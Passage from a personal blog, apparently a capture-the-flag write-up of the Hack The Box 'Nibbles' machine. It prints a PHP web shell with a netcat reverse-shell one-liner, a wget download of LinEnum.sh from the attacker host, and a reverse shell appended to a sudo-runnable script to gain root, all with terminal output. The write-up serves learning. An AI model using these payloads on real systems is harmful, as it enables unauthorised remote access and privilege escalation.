rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKING IP LISTENING PORT >/tmp/f

Let us write this to our shell.php

┌─[✗]─[chao@parrot]─[~/Desktop]
└──╼ $vim shell.php
┌─[chao@parrot]─[~/Desktop]
└──╼ $cat shell.php
<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.246 9443 >/tmp/f"); ?>

Then, we will do what have done before, upload file. The file size is changed.

Now, we need open a netcat to listen remote shell request, and execute this php code.

┌─[chao@parrot]─[~/Desktop]
└──╼ $curl 10.129.248.244/nibbleblog/content/private/plugins/my_image/image.php
┌─[chao@parrot]─[~]
└──╼ $nc -lvnp 9443
listening on [any] 9443 ...
connect to [10.10.15.246] from (UNKNOWN) [10.129.248.244] 35496
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
$ 

It does work, but we need to upgrade this reverse shell to full interactive shell for better use to get more details as this shell cannot do specific commands such as su will not work, we cannot use text editors, tab-completion does not work, etc. Here is a good post for upgrade simple shell to fully tty shell.

We can use python methods: this server does not support python but support python as we use which verified.

which can be used to verify the path of one command

语法
which [command]

查找 python 可执行文件的位置:
which python

输出可能是:
/usr/bin/python
┌─[chao@parrot]─[~]
└──╼ $nc -lvnp 9443
listening on [any] 9443 ...
connect to [10.10.15.246] from (UNKNOWN) [10.129.248.244] 35496
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
$ python -c 'import pty; pty.spawn("/bin/bash")'
/bin/sh: 2: python: not found
$ which
$ which python
$ which python3
/usr/bin/python3
$ which python2
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
nibbler@Nibbles:/var/www/html/nibbleblog/content/private/plugins/my_image$ 

Now, we gain the user permission.

nibbler@Nibbles:/var/www/html/nibbleblog/content/private/plugins/my_image$ ls
ls
db.xml  image.php
nibbler@Nibbles:/var/www/html/nibbleblog/content/private/plugins/my_image$ cd /home
<ml/nibbleblog/content/private/plugins/my_image$ cd /home   >                 
nibbler@Nibbles:/home$ ls
ls
nibbler
nibbler@Nibbles:/home$ cd nibbler
cd nibbler
nibbler@Nibbles:/home/nibbler$ ls
ls
personal.zip  user.txt
nibbler@Nibbles:/home/nibbler$ cat user.txt
cat user.txt
79c03865431abf47b90ef24b9695e148

Now, it is privilege escalation stage.
We can use sudo -l command to look for what we can perform with root right and without password.

nibbler@Nibbles:/home/nibbler$ sudo -l
sudo -l
Matching Defaults entries for nibbler on Nibbles:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh

Alternatively, we can use LinEnum.sh to automated do a verification of privilege escalation checks.

Either create file directly on target's machine or create one on local machine and send to target.

However, we do not have permission to write file, so have to try sending file.

In our local machine, use sudo python3 -m http.server 8080 to create server

┌─[chao@parrot]─[~/Desktop]
└──╼ $sudo python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
10.129.248.244 - - [11/Jul/2024 10:56:42] "GET /LinEnum.sh HTTP/1.1" 200 -

In remote machine, use wget to download file

nibbler@Nibbles:/home/nibbler$ which wget
which wget
/usr/bin/wget
nibbler@Nibbles:/home/nibbler$ wget http://10.10.15.58:8080/LinEnum.sh
wget http://10.10.15.58:8080/LinEnum.sh
--2024-07-10 18:56:42--  http://10.10.15.58:8080/LinEnum.sh
Connecting to 10.10.15.58:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 46631 (46K) [text/x-sh]
Saving to: 'LinEnum.sh'

LinEnum.sh          100%[===================>]  45.54K  78.5KB/s    in 0.6s    

2024-07-10 18:56:43 (78.5 KB/s) - 'LinEnum.sh' saved [46631/46631]

Once the script is pulled over, type chmod +x LinEnum.sh to make the script executable and then type ./LinEnum.sh to run it.

nibbler@Nibbles:/home/nibbler$ ls
ls
LinEnum.sh  personal.zip  user.txt
nibbler@Nibbles:/home/nibbler$ chmod +x LinEnum.sh
chmod +x LinEnum.sh
nibbler@Nibbles:/home/nibbler$ ./LinEnum.sh
./LinEnum.sh

There will be tons of information, but we here only can see this:

[-] Super user account(s):
root

[+] We can sudo without supplying a password!
Matching Defaults entries for nibbler on Nibbles:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh

Actually, the result is same as before. Then, we can add some code into monitor.sh

nibbler@Nibbles:/home/nibbler$ ls
ls
LinEnum.sh  personal.zip  user.txt
nibbler@Nibbles:/home/nibbler$ rm LinEnum.sh
rm LinEnum.sh
nibbler@Nibbles:/home/nibbler$ unzip personal.zip
unzip personal.zip
Archive:  personal.zip
   creating: personal/
   creating: personal/stuff/
  inflating: personal/stuff/monitor.sh  
nibbler@Nibbles:/home/nibbler$ cd /personal/stuff
cd /personal/stuff
bash: cd: /personal/stuff: No such file or directory
nibbler@Nibbles:/home/nibbler$ cd personal/stuff
cd personal/stuff
nibbler@Nibbles:/home/nibbler/personal/stuff$ 

Append our code at the end of this file, do not overwrite original content!

nibbler@Nibbles:/home/nibbler/personal/stuff$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.58 8443 >/tmp/f' | tee -a monitor.sh
< /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.58 8443 >/tmp/f' | tee -a monitor.sh    >
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.58 8443 >/tmp/f
nibbler@Nibbles:/home/nibbler/personal/stuff$ cat monitor.sh

Then, execute it without root password.

nibbler@Nibbles:/home/nibbler/personal/stuff$ sudo /home/nibbler/personal/stuff/monitor.sh
<er/personal/stuff$ sudo /home/nibbler/personal/stuff/monitor.sh           >  
'unknown': I need something more specific.

In our machine, we have remote root permission.

┌─[✗]─[chao@parrot]─[~/Desktop]
└──╼ $nc -lvnp 8443
listening on [any] 8443 ...
connect to [10.10.15.58] from (UNKNOWN) [10.129.248.244] 53142
# ls
monitor.sh
# cd /root
# ls
root.txt
# cat root.txt
de5e5d6619862a8aa5b9b212314e0cdd
# 

Summary

The fastest record is only 2 hours and 20 mins, but I have done this with several days as I am a rookie. Let me summarise this processing.

  1. Scan to look for more detail. Know the opened port, get banners.
  2. Look for vulnerability according to information.
  3. Enumarate password, username, etc. Then exploit vulnerability to get user permission
  4. Privilege escalation, get root permission

Only thing I feel lucky is the user password.

What I have to learn more:

  1. nmap
  2. nc
  3. whatweb
  4. curl or ctrl+u
  5. gobuster
  6. metasploit
  7. curl or weblink
  8. xmllint
  9. the location of dictionaries
  10. privilege escalation command
  11. reverse shell command
  12. Some automate script like LinEnum.sh or sudo -l
  13. Not all command does work when try to create reverse shell and upgrade to fully TTY shell as different version, different command, or even target does not have these tools.

Getting_Started_Module_Cheat_Sheet

Nibbles

https://0xdf.gitlab.io/2018/06/30/htb-nibbles.html

分类: CTF

Chao

一个三天打鱼两天晒网的博主 拖延症严重患者 干啥啥不行,学啥啥不会